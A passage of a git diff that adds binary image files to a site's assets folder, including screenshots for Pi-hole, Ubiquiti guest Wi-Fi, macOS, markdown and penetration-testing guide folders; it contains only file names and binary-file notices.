Binary files /dev/null and b/assets/images/58a43cfe-ab60-11ec-aa76-bf689f051be2.jpg differ diff --git a/assets/images/5a524640-047a-44bd-a380-096ab786cd44.JPG b/assets/images/5a524640-047a-44bd-a380-096ab786cd44.JPG new file mode 100644 index 000000000..f08c1ea38 Binary files /dev/null and b/assets/images/5a524640-047a-44bd-a380-096ab786cd44.JPG differ diff --git a/assets/images/5b894712-b771-11ec-a7d1-870703f39a8e.jpg b/assets/images/5b894712-b771-11ec-a7d1-870703f39a8e.jpg new file mode 100644 index 000000000..02a2e01bb Binary files /dev/null and b/assets/images/5b894712-b771-11ec-a7d1-870703f39a8e.jpg differ diff --git a/assets/images/5fe8f75e-af55-11ec-8868-8fc6aa65516e.jpg b/assets/images/5fe8f75e-af55-11ec-8868-8fc6aa65516e.jpg new file mode 100644 index 000000000..f8d5c70c9 Binary files /dev/null and b/assets/images/5fe8f75e-af55-11ec-8868-8fc6aa65516e.jpg differ diff --git a/assets/images/60269124-b76e-11ec-9f86-a7974e1be899.jpg b/assets/images/60269124-b76e-11ec-9f86-a7974e1be899.jpg new file mode 100644 index 000000000..c96cb8994 Binary files /dev/null and b/assets/images/60269124-b76e-11ec-9f86-a7974e1be899.jpg differ diff --git a/assets/images/616b2b62-ef2c-11ec-ae47-2f82399a54e5.jpg b/assets/images/616b2b62-ef2c-11ec-ae47-2f82399a54e5.jpg new file mode 100644 index 000000000..1cc9662e1 Binary files /dev/null and b/assets/images/616b2b62-ef2c-11ec-ae47-2f82399a54e5.jpg differ diff --git a/assets/images/62f1de96-b772-11ec-b155-071c3603bdd5.jpg b/assets/images/62f1de96-b772-11ec-b155-071c3603bdd5.jpg new file mode 100644 index 000000000..8fb4e89e7 Binary files /dev/null and b/assets/images/62f1de96-b772-11ec-b155-071c3603bdd5.jpg differ diff --git a/assets/images/6953aefa-be3d-11ec-bfe8-7f9219dc10e2.jpg b/assets/images/6953aefa-be3d-11ec-bfe8-7f9219dc10e2.jpg new file mode 100644 index 000000000..7211a26ba Binary files /dev/null and b/assets/images/6953aefa-be3d-11ec-bfe8-7f9219dc10e2.jpg differ diff --git a/assets/images/6f0ec169-8a64-4019-9bbb-c0f542c00972.png b/assets/images/6f0ec169-8a64-4019-9bbb-c0f542c00972.png new file mode 100644 index 000000000..fc3605764 Binary files /dev/null and b/assets/images/6f0ec169-8a64-4019-9bbb-c0f542c00972.png differ diff --git a/assets/images/6f1283a2-f6eb-11ec-a1c2-ef56aa217b30.jpg b/assets/images/6f1283a2-f6eb-11ec-a1c2-ef56aa217b30.jpg new file mode 100644 index 000000000..57ba6d856 Binary files /dev/null and b/assets/images/6f1283a2-f6eb-11ec-a1c2-ef56aa217b30.jpg differ diff --git a/assets/images/70c8abf0-c251-11ec-be47-07c6c26d75fe.jpg b/assets/images/70c8abf0-c251-11ec-be47-07c6c26d75fe.jpg new file mode 100644 index 000000000..a5c053771 Binary files /dev/null and b/assets/images/70c8abf0-c251-11ec-be47-07c6c26d75fe.jpg differ diff --git a/assets/images/7553b174-b770-11ec-b251-ffb6ae526256.jpg b/assets/images/7553b174-b770-11ec-b251-ffb6ae526256.jpg new file mode 100644 index 000000000..002b7f1a7 Binary files /dev/null and b/assets/images/7553b174-b770-11ec-b251-ffb6ae526256.jpg differ diff --git a/assets/images/7660a1d4-bd8e-11ec-a58e-3f9f3e6c485d.jpg b/assets/images/7660a1d4-bd8e-11ec-a58e-3f9f3e6c485d.jpg new file mode 100644 index 000000000..a93e31db8 Binary files /dev/null and b/assets/images/7660a1d4-bd8e-11ec-a58e-3f9f3e6c485d.jpg differ diff --git a/assets/images/76a71404-bbca-11ec-847d-87c4502ecefc.jpg b/assets/images/76a71404-bbca-11ec-847d-87c4502ecefc.jpg new file mode 100644 index 000000000..620b27bc0 Binary files /dev/null and b/assets/images/76a71404-bbca-11ec-847d-87c4502ecefc.jpg differ diff --git a/assets/images/793597ee-af5a-11ec-8e8f-23fffdd67629.jpg b/assets/images/793597ee-af5a-11ec-8e8f-23fffdd67629.jpg new file mode 100644 index 000000000..775e558d2 Binary files /dev/null and b/assets/images/793597ee-af5a-11ec-8e8f-23fffdd67629.jpg differ diff --git a/assets/images/7a055a56-b77a-11ec-9021-ab64944e5e3f.jpg b/assets/images/7a055a56-b77a-11ec-9021-ab64944e5e3f.jpg new file mode 100644 index 000000000..1f9adb2a4 Binary files /dev/null and b/assets/images/7a055a56-b77a-11ec-9021-ab64944e5e3f.jpg differ diff --git a/assets/images/7b9035d6-c3b8-11ec-983a-277c87c79876.JPG b/assets/images/7b9035d6-c3b8-11ec-983a-277c87c79876.JPG new file mode 100644 index 000000000..d5871e691 Binary files /dev/null and b/assets/images/7b9035d6-c3b8-11ec-983a-277c87c79876.JPG differ diff --git a/assets/images/7c9df2f6-b91d-11ec-b08b-775e53b2c017.jpg b/assets/images/7c9df2f6-b91d-11ec-b08b-775e53b2c017.jpg new file mode 100644 index 000000000..925070be8 Binary files /dev/null and b/assets/images/7c9df2f6-b91d-11ec-b08b-775e53b2c017.jpg differ diff --git a/assets/images/7cd52216-af5a-11ec-8172-b73480c720dc.jpg b/assets/images/7cd52216-af5a-11ec-8172-b73480c720dc.jpg new file mode 100644 index 000000000..8ef89ea6c Binary files /dev/null and b/assets/images/7cd52216-af5a-11ec-8172-b73480c720dc.jpg differ diff --git a/assets/images/7dcaaea2-f474-11ec-a4a2-57286e786d91.jpg b/assets/images/7dcaaea2-f474-11ec-a4a2-57286e786d91.jpg new file mode 100644 index 000000000..e14b30b82 Binary files /dev/null and b/assets/images/7dcaaea2-f474-11ec-a4a2-57286e786d91.jpg differ diff --git a/assets/images/7e575fea-c176-11ec-901c-df3a98406bd7.jpg b/assets/images/7e575fea-c176-11ec-901c-df3a98406bd7.jpg new file mode 100644 index 000000000..e5a2a5c5c Binary files /dev/null and b/assets/images/7e575fea-c176-11ec-901c-df3a98406bd7.jpg differ diff --git a/assets/images/7f3f35a8-c253-11ec-b95c-1b2519157bc5.jpg b/assets/images/7f3f35a8-c253-11ec-b95c-1b2519157bc5.jpg new file mode 100644 index 000000000..1e6791aa1 Binary files /dev/null and b/assets/images/7f3f35a8-c253-11ec-b95c-1b2519157bc5.jpg differ diff --git a/assets/images/8019b806-af5a-11ec-bad5-9f430cbe840e.jpg b/assets/images/8019b806-af5a-11ec-bad5-9f430cbe840e.jpg new file mode 100644 index 000000000..0b53431a2 Binary files /dev/null and b/assets/images/8019b806-af5a-11ec-bad5-9f430cbe840e.jpg differ diff --git a/assets/images/814c798a-ab67-11ec-b95c-3b6db8d32176.png b/assets/images/814c798a-ab67-11ec-b95c-3b6db8d32176.png new file mode 100644 index 000000000..f79c30421 Binary files /dev/null and b/assets/images/814c798a-ab67-11ec-b95c-3b6db8d32176.png differ diff --git a/assets/images/82fa55bc-af5a-11ec-8aeb-377e793bc479.jpg b/assets/images/82fa55bc-af5a-11ec-8aeb-377e793bc479.jpg new file mode 100644 index 000000000..b121d57d8 Binary files /dev/null and b/assets/images/82fa55bc-af5a-11ec-8aeb-377e793bc479.jpg differ diff --git a/assets/images/849ac868-c3c1-11ec-bced-43218d8bdf1c.JPG b/assets/images/849ac868-c3c1-11ec-bced-43218d8bdf1c.JPG new file mode 100644 index 000000000..6f487c145 Binary files /dev/null and b/assets/images/849ac868-c3c1-11ec-bced-43218d8bdf1c.JPG differ diff --git a/assets/images/85ff00dc-af5a-11ec-8c04-bbd02025abfa.jpg b/assets/images/85ff00dc-af5a-11ec-8c04-bbd02025abfa.jpg new file mode 100644 index 000000000..14ccb9da5 Binary files /dev/null and b/assets/images/85ff00dc-af5a-11ec-8c04-bbd02025abfa.jpg differ diff --git a/assets/images/8886bc4a-be38-11ec-ba3b-d3e0526955c4.jpg b/assets/images/8886bc4a-be38-11ec-ba3b-d3e0526955c4.jpg new file mode 100644 index 000000000..d28e872d4 Binary files /dev/null and b/assets/images/8886bc4a-be38-11ec-ba3b-d3e0526955c4.jpg differ diff --git a/assets/images/893555e4-b914-11ec-8e85-df9da2014d5a.jpg b/assets/images/893555e4-b914-11ec-8e85-df9da2014d5a.jpg new file mode 100644 index 000000000..9845f0d40 Binary files /dev/null and b/assets/images/893555e4-b914-11ec-8e85-df9da2014d5a.jpg differ diff --git a/assets/images/89d51168-c3ca-11ec-8696-bb85fc9f7c43.JPG b/assets/images/89d51168-c3ca-11ec-8696-bb85fc9f7c43.JPG new file mode 100644 index 000000000..12b4b7330 Binary files /dev/null and b/assets/images/89d51168-c3ca-11ec-8696-bb85fc9f7c43.JPG differ diff --git a/assets/images/89d51168-c3ca-11ec-8696-bb85fc9f7c43.jpeg b/assets/images/89d51168-c3ca-11ec-8696-bb85fc9f7c43.jpeg new file mode 100644 index 000000000..12b4b7330 Binary files /dev/null and b/assets/images/89d51168-c3ca-11ec-8696-bb85fc9f7c43.jpeg differ diff --git a/assets/images/8a9bbbac-c252-11ec-9871-5bcb63df5ade.jpg b/assets/images/8a9bbbac-c252-11ec-9871-5bcb63df5ade.jpg new file mode 100644 index 000000000..0e9969c4b Binary files /dev/null and b/assets/images/8a9bbbac-c252-11ec-9871-5bcb63df5ade.jpg differ diff --git a/assets/images/8e02266c-f8a0-11ec-ae98-0b43ae9fc642.jpeg b/assets/images/8e02266c-f8a0-11ec-ae98-0b43ae9fc642.jpeg new file mode 100644 index 000000000..473585ae9 Binary files /dev/null and b/assets/images/8e02266c-f8a0-11ec-ae98-0b43ae9fc642.jpeg differ diff --git a/assets/images/944c1cbc-c3ad-11ec-b5f1-5f23693b3268.jpg b/assets/images/944c1cbc-c3ad-11ec-b5f1-5f23693b3268.jpg new file mode 100644 index 000000000..1031bc378 Binary files /dev/null and b/assets/images/944c1cbc-c3ad-11ec-b5f1-5f23693b3268.jpg differ diff --git a/assets/images/965ef3ea-af5c-11ec-8f5b-cff63ef5ad54.jpg b/assets/images/965ef3ea-af5c-11ec-8f5b-cff63ef5ad54.jpg new file mode 100644 index 000000000..e114ea7de Binary files /dev/null and b/assets/images/965ef3ea-af5c-11ec-8f5b-cff63ef5ad54.jpg differ diff --git a/assets/images/96f0cf48-c3bd-11ec-bd26-3bb9671d2760.JPG b/assets/images/96f0cf48-c3bd-11ec-bd26-3bb9671d2760.JPG new file mode 100644 index 000000000..3f410d962 Binary files /dev/null and b/assets/images/96f0cf48-c3bd-11ec-bd26-3bb9671d2760.JPG differ diff --git a/assets/images/97e770a6-f567-11ec-8722-d31a81422ae4.jpg b/assets/images/97e770a6-f567-11ec-8722-d31a81422ae4.jpg new file mode 100644 index 000000000..b31338c12 Binary files /dev/null and b/assets/images/97e770a6-f567-11ec-8722-d31a81422ae4.jpg differ diff --git a/assets/images/9ad68bf6-b770-11ec-8a83-37365567ebbe.jpg b/assets/images/9ad68bf6-b770-11ec-8a83-37365567ebbe.jpg new file mode 100644 index 000000000..c1351f866 Binary files /dev/null and b/assets/images/9ad68bf6-b770-11ec-8a83-37365567ebbe.jpg differ diff --git a/assets/images/9bd60754-c3cb-11ec-8b9f-eb26a00d1231.jpg b/assets/images/9bd60754-c3cb-11ec-8b9f-eb26a00d1231.jpg new file mode 100644 index 000000000..1b3baae24 Binary files /dev/null and b/assets/images/9bd60754-c3cb-11ec-8b9f-eb26a00d1231.jpg differ diff --git a/assets/images/a0514d0c-abca-11ec-93a6-ffaf1c727a0d.jpg b/assets/images/a0514d0c-abca-11ec-93a6-ffaf1c727a0d.jpg new file mode 100644 index 000000000..fa612e54f Binary files /dev/null and b/assets/images/a0514d0c-abca-11ec-93a6-ffaf1c727a0d.jpg differ diff --git a/assets/images/a6de4412-be40-11ec-85e6-338ef50c9599.jpg b/assets/images/a6de4412-be40-11ec-85e6-338ef50c9599.jpg new file mode 100644 index 000000000..dfa471804 Binary files /dev/null and b/assets/images/a6de4412-be40-11ec-85e6-338ef50c9599.jpg differ diff --git a/assets/images/a782d34c-c255-11ec-8f01-43f638c0c2de.jpg b/assets/images/a782d34c-c255-11ec-8f01-43f638c0c2de.jpg new file mode 100644 index 000000000..4aa51855d Binary files /dev/null and b/assets/images/a782d34c-c255-11ec-8f01-43f638c0c2de.jpg differ diff --git a/assets/images/a7cb4ef2-c254-11ec-8d83-7b18dfbf3c3f.jpg b/assets/images/a7cb4ef2-c254-11ec-8d83-7b18dfbf3c3f.jpg new file mode 100644 index 000000000..b819d10eb Binary files /dev/null and b/assets/images/a7cb4ef2-c254-11ec-8d83-7b18dfbf3c3f.jpg differ diff --git a/assets/images/a7d93848-be38-11ec-9607-2ba8ccd0b5ab.jpg b/assets/images/a7d93848-be38-11ec-9607-2ba8ccd0b5ab.jpg new file mode 100644 index 000000000..d7205f6a1 Binary files /dev/null and b/assets/images/a7d93848-be38-11ec-9607-2ba8ccd0b5ab.jpg differ diff --git a/assets/images/a8c9213a-f8a0-11ec-be2e-d3277604224a.jpeg b/assets/images/a8c9213a-f8a0-11ec-be2e-d3277604224a.jpeg new file mode 100644 index 000000000..e239d4d6f Binary files /dev/null and b/assets/images/a8c9213a-f8a0-11ec-be2e-d3277604224a.jpeg differ diff --git a/assets/images/a8cbc2ca-b771-11ec-9969-938683abbd20.jpg b/assets/images/a8cbc2ca-b771-11ec-9969-938683abbd20.jpg new file mode 100644 index 000000000..189036a83 Binary files /dev/null and b/assets/images/a8cbc2ca-b771-11ec-9969-938683abbd20.jpg differ diff --git a/assets/images/ab8824e2-c3cc-11ec-b5ba-536c8b1ec876.JPG b/assets/images/ab8824e2-c3cc-11ec-b5ba-536c8b1ec876.JPG new file mode 100644 index 000000000..1e2da62de Binary files /dev/null and b/assets/images/ab8824e2-c3cc-11ec-b5ba-536c8b1ec876.JPG differ diff --git a/assets/images/b177a31c-bc35-11ec-9045-2b011e6c011d.jpg b/assets/images/b177a31c-bc35-11ec-9045-2b011e6c011d.jpg new file mode 100644 index 000000000..ae4f62d57 Binary files /dev/null and b/assets/images/b177a31c-bc35-11ec-9045-2b011e6c011d.jpg differ diff --git a/assets/images/b1db6a1e-c3c9-11ec-b82b-4f85c9b1fe37.JPG b/assets/images/b1db6a1e-c3c9-11ec-b82b-4f85c9b1fe37.JPG new file mode 100644 index 000000000..3b43ebe37 Binary files /dev/null and b/assets/images/b1db6a1e-c3c9-11ec-b82b-4f85c9b1fe37.JPG differ diff --git a/assets/images/b3f5f318-b76d-11ec-a7ee-c3e7b33c7b99.jpg b/assets/images/b3f5f318-b76d-11ec-a7ee-c3e7b33c7b99.jpg new file mode 100644 index 000000000..b9aaaa9ea Binary files /dev/null and b/assets/images/b3f5f318-b76d-11ec-a7ee-c3e7b33c7b99.jpg differ diff --git a/assets/images/b49e4378-c286-11ec-a362-1fdbfed5c73c.jpg b/assets/images/b49e4378-c286-11ec-a362-1fdbfed5c73c.jpg new file mode 100644 index 000000000..f79a7883b Binary files /dev/null and b/assets/images/b49e4378-c286-11ec-a362-1fdbfed5c73c.jpg differ diff --git a/assets/images/b64dcd76-f565-11ec-8713-e3bd1fbe1fc8.jpg b/assets/images/b64dcd76-f565-11ec-8713-e3bd1fbe1fc8.jpg new file mode 100644 index 000000000..82dbb0df2 Binary files /dev/null and b/assets/images/b64dcd76-f565-11ec-8713-e3bd1fbe1fc8.jpg differ diff --git a/assets/images/b8f8f8e8-b773-11ec-a8d1-e9f8f8f8f8f8.jpg b/assets/images/b8f8f8e8-b773-11ec-a8d1-e9f8f8f8f8f8.jpg new file mode 100644 index 000000000..e6f1e86b0 Binary files /dev/null and b/assets/images/b8f8f8e8-b773-11ec-a8d1-e9f8f8f8f8f8.jpg differ diff --git a/assets/images/c1cd89f2-ecaf-11ec-b054-87c1d740b554.jpg b/assets/images/c1cd89f2-ecaf-11ec-b054-87c1d740b554.jpg new file mode 100644 index 000000000..3d43f4963 Binary files /dev/null and b/assets/images/c1cd89f2-ecaf-11ec-b054-87c1d740b554.jpg differ diff --git a/assets/images/c605680c-bd8c-11ec-81f9-4755a5d3fa24.jpg b/assets/images/c605680c-bd8c-11ec-81f9-4755a5d3fa24.jpg new file mode 100644 index 000000000..36a57d8b8 Binary files /dev/null and b/assets/images/c605680c-bd8c-11ec-81f9-4755a5d3fa24.jpg differ diff --git a/assets/images/c98e4e9a-b912-11ec-9100-c3da7dd122f2.jpg b/assets/images/c98e4e9a-b912-11ec-9100-c3da7dd122f2.jpg new file mode 100644 index 000000000..92f038a3e Binary files /dev/null and b/assets/images/c98e4e9a-b912-11ec-9100-c3da7dd122f2.jpg differ diff --git a/assets/images/cc1c3650-b91b-11ec-8215-bb07cf790912.jpg b/assets/images/cc1c3650-b91b-11ec-8215-bb07cf790912.jpg new file mode 100644 index 000000000..d76226728 Binary files /dev/null and b/assets/images/cc1c3650-b91b-11ec-8215-bb07cf790912.jpg differ diff --git a/assets/images/ce653b82-c3a7-11ec-8d1f-17eb1f5bd0eb.jpg b/assets/images/ce653b82-c3a7-11ec-8d1f-17eb1f5bd0eb.jpg new file mode 100644 index 000000000..d8f02006e Binary files /dev/null and b/assets/images/ce653b82-c3a7-11ec-8d1f-17eb1f5bd0eb.jpg differ diff --git a/assets/images/ceb5e792-c179-11ec-ad88-9b78dd851902.jpg b/assets/images/ceb5e792-c179-11ec-ad88-9b78dd851902.jpg new file mode 100644 index 000000000..ac33a5a19 Binary files /dev/null and b/assets/images/ceb5e792-c179-11ec-ad88-9b78dd851902.jpg differ diff --git a/assets/images/cf47b38c-c24d-11ec-a4fa-27a0a5d86a74.jpg b/assets/images/cf47b38c-c24d-11ec-a4fa-27a0a5d86a74.jpg new file mode 100644 index 000000000..ff85285d4 Binary files /dev/null and b/assets/images/cf47b38c-c24d-11ec-a4fa-27a0a5d86a74.jpg differ diff --git a/assets/images/d156661a-b770-11ec-b6e1-57ab6e787665.jpg b/assets/images/d156661a-b770-11ec-b6e1-57ab6e787665.jpg new file mode 100644 index 000000000..f15b66bc7 Binary files /dev/null and b/assets/images/d156661a-b770-11ec-b6e1-57ab6e787665.jpg differ diff --git a/assets/images/d163247e-c3ad-11ec-89c1-b30522ee9186.jpg b/assets/images/d163247e-c3ad-11ec-89c1-b30522ee9186.jpg new file mode 100644 index 000000000..3fdea7552 Binary files /dev/null and b/assets/images/d163247e-c3ad-11ec-89c1-b30522ee9186.jpg differ diff --git a/assets/images/d1d0f06c-bd9f-11ec-993d-77cc04f321dc.jpg b/assets/images/d1d0f06c-bd9f-11ec-993d-77cc04f321dc.jpg new file mode 100644 index 000000000..af6792d0f Binary files /dev/null and b/assets/images/d1d0f06c-bd9f-11ec-993d-77cc04f321dc.jpg differ diff --git a/assets/images/d2bebf22-c3cb-11ec-a455-afd361c4ca85.JPG b/assets/images/d2bebf22-c3cb-11ec-a455-afd361c4ca85.JPG new file mode 100644 index 000000000..31cb750ef Binary files /dev/null and b/assets/images/d2bebf22-c3cb-11ec-a455-afd361c4ca85.JPG differ diff --git a/assets/images/d3a4d31c-b918-11ec-ac96-a7ff358e0685.jpg b/assets/images/d3a4d31c-b918-11ec-ac96-a7ff358e0685.jpg new file mode 100644 index 000000000..1ebcac940 Binary files /dev/null and b/assets/images/d3a4d31c-b918-11ec-ac96-a7ff358e0685.jpg differ diff --git a/assets/images/d48456fc-be38-11ec-a8da-c747b71c446f.jpg b/assets/images/d48456fc-be38-11ec-a8da-c747b71c446f.jpg new file mode 100644 index 000000000..6152b7678 Binary files /dev/null and b/assets/images/d48456fc-be38-11ec-a8da-c747b71c446f.jpg differ diff --git a/assets/images/d6cd2947-9db0-cd6f-ad6a-d4298c3c54f7.png b/assets/images/d6cd2947-9db0-cd6f-ad6a-d4298c3c54f7.png new file mode 100644 index 000000000..538652eae Binary files /dev/null and b/assets/images/d6cd2947-9db0-cd6f-ad6a-d4298c3c54f7.png differ diff --git a/assets/images/dc44cc8a-af5d-11ec-87bc-b3119d6d09c5.jpg b/assets/images/dc44cc8a-af5d-11ec-87bc-b3119d6d09c5.jpg new file mode 100644 index 000000000..89cd68b83 Binary files /dev/null and b/assets/images/dc44cc8a-af5d-11ec-87bc-b3119d6d09c5.jpg differ diff --git a/assets/images/e38b4c1c-bbc9-11ec-b13f-033bc9ab9d10.jpg b/assets/images/e38b4c1c-bbc9-11ec-b13f-033bc9ab9d10.jpg new file mode 100644 index 000000000..028e0e7c9 Binary files /dev/null and b/assets/images/e38b4c1c-bbc9-11ec-b13f-033bc9ab9d10.jpg differ diff --git a/assets/images/e6531a42-c3bc-11ec-926f-efeac023c51f.JPG b/assets/images/e6531a42-c3bc-11ec-926f-efeac023c51f.JPG new file mode 100644 index 000000000..f82abcea0 Binary files /dev/null and b/assets/images/e6531a42-c3bc-11ec-926f-efeac023c51f.JPG differ diff --git a/assets/images/e6ee55f4-b771-11ec-a70c-cb0f7eec832b.jpg b/assets/images/e6ee55f4-b771-11ec-a70c-cb0f7eec832b.jpg new file mode 100644 index 000000000..f7e016924 Binary files /dev/null and b/assets/images/e6ee55f4-b771-11ec-a70c-cb0f7eec832b.jpg differ diff --git a/assets/images/f1f18772-f881-11ec-9918-afad89ede03c.jpg b/assets/images/f1f18772-f881-11ec-9918-afad89ede03c.jpg new file mode 100644 index 000000000..eff3151fc Binary files /dev/null and b/assets/images/f1f18772-f881-11ec-9918-afad89ede03c.jpg differ diff --git a/assets/images/f285a87e-c18d-11ec-8189-f712e9b20b30.jpg b/assets/images/f285a87e-c18d-11ec-8189-f712e9b20b30.jpg new file mode 100644 index 000000000..bca3a4f92 Binary files /dev/null and b/assets/images/f285a87e-c18d-11ec-8189-f712e9b20b30.jpg differ diff --git a/assets/images/f2ee518c-ef2b-11ec-9ca3-bb1ecfcef48f.jpg b/assets/images/f2ee518c-ef2b-11ec-9ca3-bb1ecfcef48f.jpg new file mode 100644 index 000000000..59fbb4e71 Binary files /dev/null and b/assets/images/f2ee518c-ef2b-11ec-9ca3-bb1ecfcef48f.jpg differ diff --git a/assets/images/f4d86a32-b76d-11ec-9fef-e3b0f6f84522.jpg b/assets/images/f4d86a32-b76d-11ec-9fef-e3b0f6f84522.jpg new file mode 100644 index 000000000..9fe457cab Binary files /dev/null and b/assets/images/f4d86a32-b76d-11ec-9fef-e3b0f6f84522.jpg differ diff --git a/assets/images/favicon.png b/assets/images/favicon.png new file mode 100644 index 000000000..1cf13b9f9 Binary files /dev/null and b/assets/images/favicon.png differ diff --git a/assets/images/fb12505e-efb0-11ec-a168-bb2b078361cc.jpg b/assets/images/fb12505e-efb0-11ec-a168-bb2b078361cc.jpg new file mode 100644 index 000000000..8b45c971c Binary files /dev/null and b/assets/images/fb12505e-efb0-11ec-a168-bb2b078361cc.jpg differ diff --git a/assets/images/fc2ca070-ba36-11ec-a838-2bfdfa0e9d3f.jpg b/assets/images/fc2ca070-ba36-11ec-a838-2bfdfa0e9d3f.jpg new file mode 100644 index 000000000..34c6caea5 Binary files /dev/null and b/assets/images/fc2ca070-ba36-11ec-a838-2bfdfa0e9d3f.jpg differ diff --git a/assets/images/ff061dba-a7a0-11ec-bba5-d7f313e92b3a.png b/assets/images/ff061dba-a7a0-11ec-bba5-d7f313e92b3a.png new file mode 100644 index 000000000..f9aede20e Binary files /dev/null and b/assets/images/ff061dba-a7a0-11ec-bba5-d7f313e92b3a.png differ diff --git a/assets/images/guides/pihole-dns/advSettings.png b/assets/images/guides/pihole-dns/advSettings.png new file mode 100644 index 000000000..6f3a1fd9e Binary files /dev/null and b/assets/images/guides/pihole-dns/advSettings.png differ diff --git a/assets/images/guides/pihole-dns/blockList.png b/assets/images/guides/pihole-dns/blockList.png new file mode 100644 index 000000000..986e1abaa Binary files /dev/null and b/assets/images/guides/pihole-dns/blockList.png differ diff --git a/assets/images/guides/pihole-dns/diagram.png b/assets/images/guides/pihole-dns/diagram.png new file mode 100644 index 000000000..30d41ff92 Binary files /dev/null and b/assets/images/guides/pihole-dns/diagram.png differ diff --git a/assets/images/guides/pihole-dns/dnsSettings.png b/assets/images/guides/pihole-dns/dnsSettings.png new file mode 100644 index 000000000..53a724512 Binary files /dev/null and b/assets/images/guides/pihole-dns/dnsSettings.png differ diff --git a/assets/images/guides/pihole-dns/webgui.png b/assets/images/guides/pihole-dns/webgui.png new file mode 100644 index 000000000..ab421f68c Binary files /dev/null and b/assets/images/guides/pihole-dns/webgui.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/01.Interface.png b/assets/images/guides/ubiquiti/guestWifi/01.Interface.png new file mode 100644 index 000000000..c3ea0379c Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/01.Interface.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/02.vlan.png b/assets/images/guides/ubiquiti/guestWifi/02.vlan.png new file mode 100644 index 000000000..dd2a354c2 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/02.vlan.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/03.DHCP.png b/assets/images/guides/ubiquiti/guestWifi/03.DHCP.png new file mode 100644 index 000000000..cfde3fd54 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/03.DHCP.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/04.dns.png b/assets/images/guides/ubiquiti/guestWifi/04.dns.png new file mode 100644 index 000000000..85fedb1e4 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/04.dns.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/05.firewall01.png b/assets/images/guides/ubiquiti/guestWifi/05.firewall01.png new file mode 100644 index 000000000..dcd349e25 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/05.firewall01.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/06.firewall02.png b/assets/images/guides/ubiquiti/guestWifi/06.firewall02.png new file mode 100644 index 000000000..9128fd2ce Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/06.firewall02.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/07.firewall03.png b/assets/images/guides/ubiquiti/guestWifi/07.firewall03.png new file mode 100644 index 000000000..03f94b125 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/07.firewall03.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/08.firewall04.png b/assets/images/guides/ubiquiti/guestWifi/08.firewall04.png new file mode 100644 index 000000000..059849322 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/08.firewall04.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/09.firewall05.png b/assets/images/guides/ubiquiti/guestWifi/09.firewall05.png new file mode 100644 index 000000000..bf3d36855 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/09.firewall05.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/10.firewall06.png b/assets/images/guides/ubiquiti/guestWifi/10.firewall06.png new file mode 100644 index 000000000..5fd187210 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/10.firewall06.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/11.firewall07.png b/assets/images/guides/ubiquiti/guestWifi/11.firewall07.png new file mode 100644 index 000000000..8ea19c0c2 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/11.firewall07.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/12.Unifi_limit.png b/assets/images/guides/ubiquiti/guestWifi/12.Unifi_limit.png new file mode 100644 index 000000000..106f98783 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/12.Unifi_limit.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/13.Unifi_SSDID.png b/assets/images/guides/ubiquiti/guestWifi/13.Unifi_SSDID.png new file mode 100644 index 000000000..62ff1a987 Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/13.Unifi_SSDID.png differ diff --git a/assets/images/guides/ubiquiti/guestWifi/14.DNS_F.png b/assets/images/guides/ubiquiti/guestWifi/14.DNS_F.png new file mode 100644 index 000000000..53eacfc6f Binary files /dev/null and b/assets/images/guides/ubiquiti/guestWifi/14.DNS_F.png differ diff --git a/assets/images/macOS/itermToUS.jpg b/assets/images/macOS/itermToUS.jpg new file mode 100644 index 000000000..4e8dfe879 Binary files /dev/null and b/assets/images/macOS/itermToUS.jpg differ diff --git a/assets/images/macOS/launchpad.jpg b/assets/images/macOS/launchpad.jpg new file mode 100644 index 000000000..3aa6cfbaa Binary files /dev/null and b/assets/images/macOS/launchpad.jpg differ diff --git a/assets/images/markdown-cheatsheet/minion.png b/assets/images/markdown-cheatsheet/minion.png new file mode 100644 index 000000000..d72f4a243 Binary files /dev/null and b/assets/images/markdown-cheatsheet/minion.png differ diff --git a/assets/images/markdown-cheatsheet/minion100x100.png b/assets/images/markdown-cheatsheet/minion100x100.png new file mode 100644 index 000000000..cfe78ddcb Binary files /dev/null and b/assets/images/markdown-cheatsheet/minion100x100.png differ diff --git a/assets/images/markdown-cheatsheet/minion200x200.png b/assets/images/markdown-cheatsheet/minion200x200.png new file mode 100644 index 000000000..f22d02ce4 Binary files /dev/null and b/assets/images/markdown-cheatsheet/minion200x200.png differ diff --git a/assets/images/markdown-cheatsheet/minion500x500.png b/assets/images/markdown-cheatsheet/minion500x500.png new file mode 100644 index 000000000..b81db3dcc Binary files /dev/null and b/assets/images/markdown-cheatsheet/minion500x500.png differ diff --git a/assets/images/markdown-cheatsheet/minion50x50.png b/assets/images/markdown-cheatsheet/minion50x50.png new file mode 100644 index 000000000..cfe78ddcb Binary files /dev/null and b/assets/images/markdown-cheatsheet/minion50x50.png differ diff --git a/assets/images/penetration-testing/proxmark/rsz_img_1044.jpg b/assets/images/penetration-testing/proxmark/rsz_img_1044.jpg new file mode 100644 index 000000000..7ad53a6b3 Binary files /dev/null and b/assets/images/penetration-testing/proxmark/rsz_img_1044.jpg differ diff --git a/assets/images/penetration-testing/vmwareFusion/host.jpg b/assets/images/penetration-testing/vmwareFusion/host.jpg new file mode 100644 index 000000000..73dea14ad Binary files /dev/null and 